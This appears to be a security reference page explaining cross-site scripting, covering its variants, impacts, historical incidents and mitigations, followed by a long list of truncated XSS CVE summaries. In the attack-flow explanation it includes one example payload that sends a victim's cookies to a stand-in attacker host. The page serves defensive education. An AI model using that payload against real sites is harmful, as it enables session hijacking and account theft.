Cross-Site Scripting
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
How It Works
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.
The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.
A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.
Impact
- Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
- Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
- Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
- Keylogging: Monitor and exfiltrate everything users type on the compromised page
- Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
- Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests
Real-World Examples
A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.
eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.
British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.
Mitigation
- Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
- Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
- HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
- Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
- DOM-based XSS prevention: Use safe APIs like
textContentinstead ofinnerHTML; avoid passing user data to dangerous sinks likeeval()
Recent CVEs (40976)
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Advantech EKI-1524, EKI-1522, EKI-1521 devices through 1.21 are affected by a Stored Cross-Site Scripting vulnerability, which can be triggered by authenticated users in the ping tool of the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Advantech EKI-1524, EKI-1522, EKI-1521 devices through 1.21 are affected by a Stored Cross-Site Scripting vulnerability, which can be triggered by authenticated users in the device name field of the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
In PHOENIX CONTACTs TC ROUTER and TC CLOUD CLIENT in versions prior to 2.07.2 as well as CLOUD CLIENT 1101T-TX/TX prior to 2.06.10 an unauthenticated remote attacker could use a reflective XSS within. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
SAP business One allows - version 10.0, allows an attacker to insert malicious code into the content of a web page or application and gets it delivered to the client, resulting to Cross-site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
In SAP NetWeaver Process Integration - versions SAP_XIESR 7.50, SAP_XITOOL 7.50, SAP_XIAF 7.50, user-controlled inputs, if not sufficiently encoded, could result in Cross-Site Scripting (XSS) attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
PrestaShop is an open source e-commerce web application. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in advcomsys.com oneVote component for Joomla. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
The MultiParcels Shipping For WooCommerce WordPress plugin before 1.15.4 does not sanitise and escape various parameters before outputting it back in the page, leading to a Reflected Cross-Site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Bubble Menu WordPress plugin before 3.0.5 does not sanitize and escape some of its settings, which could allow high-privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Quiz And Survey Master WordPress plugin before 8.1.11 does not properly sanitize and escape question titles, which could allow users with the Contributor role and above to perform Stored. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The WPCode WordPress plugin before 2.0.13.1 does not escape generated URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The WP Shopping Pages WordPress plugin through 1.14 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add. Rated medium severity (CVSS 6.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The WP Food Manager WordPress plugin before 1.0.4 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross-site Scripting (XSS) - Stored in GitHub repository cockpit-hq/cockpit prior to 2.6.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Insufficient input validation and sanitation in Weblog Category name, Website About and File Upload features in all versions of Apache Roller on all platforms allows an authenticated user to perform. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A vulnerability was found in mooSocial mooTravel 3.1.8 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A vulnerability has been found in mooSocial mooStore 3.1.6 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability, which was classified as problematic, was found in mooSocial mooStore 3.1.6. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross-site Scripting (XSS) - Reflected in GitHub repository instantsoft/icms2 prior to 2.16.1-git. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
A vulnerability was found in DedeBIZ 6.2.10. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross-site Scripting (XSS) - Stored in GitHub repository instantsoft/icms2 prior to 2.16.1-git. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
A vulnerability was found in Media Browser Emby Server 4.7.13.0 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross-site Scripting (XSS) - Stored in GitHub repository omeka/omeka-s prior to 4.0.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Creative Item Academy LMS 6.0 was discovered to contain a cross-site scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting (XSS) vulnerability in sourcecodester Lost and Found Information System 1.0 allows remote attackers to run arbitrary code via the First Name, Middle Name and Last Name fields on. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross Site Scripting (XSS) vulnerability in sourcecodester Toll Tax Management System 1.0 allows remote attackers to run arbitrary code via the First Name and Last Name fields on the My Account page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
PHPJabbers Cleaning Business Software 1.0 is vulnerable to Cross Site Scripting (XSS) via the theme parameter of preview.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
There is a Cross Site Scripting (XSS) vulnerability in the "theme" parameter of preview.php in PHPJabbers Class Scheduling System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A Persistent XSS vulnerability can be carried out in a certain field of Unica Campaign. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A Persistent Cross-site Scripting (XSS) vulnerability can be carried out on certain pages of Unica Platform. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A Persistent Cross-site Scripting (XSS) vulnerability can be carried out in a certain field of the Unica Platform. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A security defect was identified in Foundry Frontend that enabled users to potentially conduct DOM XSS attacks if Foundry's CSP were to be bypassed. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A vulnerability in web-based management interface of Cisco SPA500 Series Analog Telephone Adapters (ATAs) could allow an authenticated, remote attacker to to modify a web page in the context of a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A vulnerability in the web-based management interface of Cisco BroadWorks CommPilot Application Software could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS) attack. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A vulnerability in the web-based management interface of Cisco Small Business SPA500 Series IP Phones could allow an unauthenticated, remote attacker to conduct XSS attacks. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability in Xoops CMS v.2.5.10 allows a remote attacker to execute arbitrary code via the category name field of the image manager function. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/customer-data-framework prior to 3.4.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CrafterCMS Engine on Windows, MacOS, Linux, x86, ARM, 64 bit allows Reflected XSS.0.0 through. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
WebBoss.io CMS v3.7.0.1 contains a stored cross-site scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
WebBoss.io CMS v3.7.0.1 contains a stored Cross-Site Scripting (XSS) vulnerability due to lack of input validation and output encoding. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A vulnerability has been found in Academy LMS 6.0 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability, which was classified as problematic, was found in Cute Http File Server 2.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A vulnerability, which was classified as problematic, has been found in PHP Jabbers Rental Property Booking 2.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability classified as problematic was found in PHP Jabbers Taxi Booking 2.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability classified as problematic has been found in PHP Jabbers Cleaning Business 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in PHP Jabbers Night Club Booking Software 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in PHP Jabbers Service Booking Script 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in PHP Jabbers Shuttle Booking Software 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in PHP Jabbers Bus Reservation System 1.1 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability has been found in PHP Jabbers Availability Booking Calendar 5.0 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Text nodes not in the HTML namespace are incorrectly literally rendered, causing text which should be escaped to not be. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Cross Site Scripting vulnerability in GatesAIr Flexiva FM Transmitter/Exciter v.FAX 150W allows a remote attacker to execute arbitrary code via a crafted script to the web application dashboard. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A cross-site scripting (XSS) vulnerability exists in an undisclosed page of the BIG-IP Configuration utility that allows an attacker to run JavaScript in the context of the currently logged-in user. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A reflected cross-site scripting (XSS) vulnerability exists in an undisclosed page of the BIG-IP Configuration utility which allows an attacker to run JavaScript in the context of the currently. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Verint Engagement Management 15.3 Update 2023R2 is vulnerable to HTML injection via the user data form in the live chat. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A XSS vulnerability exists in the Xiaomi cloud service Application product. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
The "OX Count" web service did not specify a media-type when processing responses by external resources. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The "OX Chat" web service did not specify a media-type when processing responses by external resources. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Custom log-in and log-out locations are used-defined as jslob but were not checked to contain malicious protocol handlers. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The "upsell" widget for the portal allows to specify a product description. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The users clientID at "application passwords" was not sanitized or escaped before being added to DOM. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Frontend themes are defined by user-controllable jslob settings and could point to a malicious resource which gets processed during login. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The Bus Ticket Booking with Seat Reservation plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'tab_date' and 'tab_date_r' parameters in versions up to, and including,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
An issue has been discovered in GitLab CE/EE affecting all versions starting from 10.0 before 16.0.8, all versions starting from 16.1 before 16.1.3, all versions starting from 16.2 before 16.2.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability in e107 v.2.3.2 allows a remote attacker to execute arbitrary code via the description function in the SEO project. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A reflected cross-site scripting (XSS) vulnerability exists in Brocade Webtools PortSetting.html of Brocade Fabric OS version before Brocade Fabric OS v9.2.0 that could allow a remote unauthenticated. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
An issue has been discovered in GitLab affecting all versions starting from 15.9 before 16.0.8, all versions starting from 16.1 before 16.1.3, all versions starting from 16.2 before 16.2.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability in Faculty Evaulation System using PHP/MySQLi v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the page parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Quick Facts
- Typical Severity
- MEDIUM
- Category
- web
- Total CVEs
- 40976